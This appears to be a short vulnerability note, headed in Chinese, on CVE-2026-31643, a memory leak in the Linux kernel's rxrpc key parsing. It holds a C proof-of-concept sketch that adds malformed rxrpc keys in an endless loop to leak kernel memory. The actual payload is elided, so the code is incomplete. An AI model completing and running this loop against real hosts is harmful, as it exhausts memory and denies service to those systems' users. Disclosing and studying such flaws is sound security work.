CVE-2026-31643 Linux内核rxrpc内存泄漏漏洞

/* * PoC Concept for CVE-2026-31643 * Trigger memory leak in rxrpc_preparse_xdr_yfs_rxgk. * Requires local access and keyutils. */ #include <stdio.h> #include <keyutils.h> int main() { // Construct malformed payload to trigger error path char *malformed_payload = "..."; // Repeatedly add key to trigger leak while(1) { key_serial_t key = add_key("rxrpc", "poc_desc", malformed_payload, strlen(malformed_payload), KEY_SPEC_PROCESS_KEYRING); if (key == -1) { perror("add_key"); } } return 0; }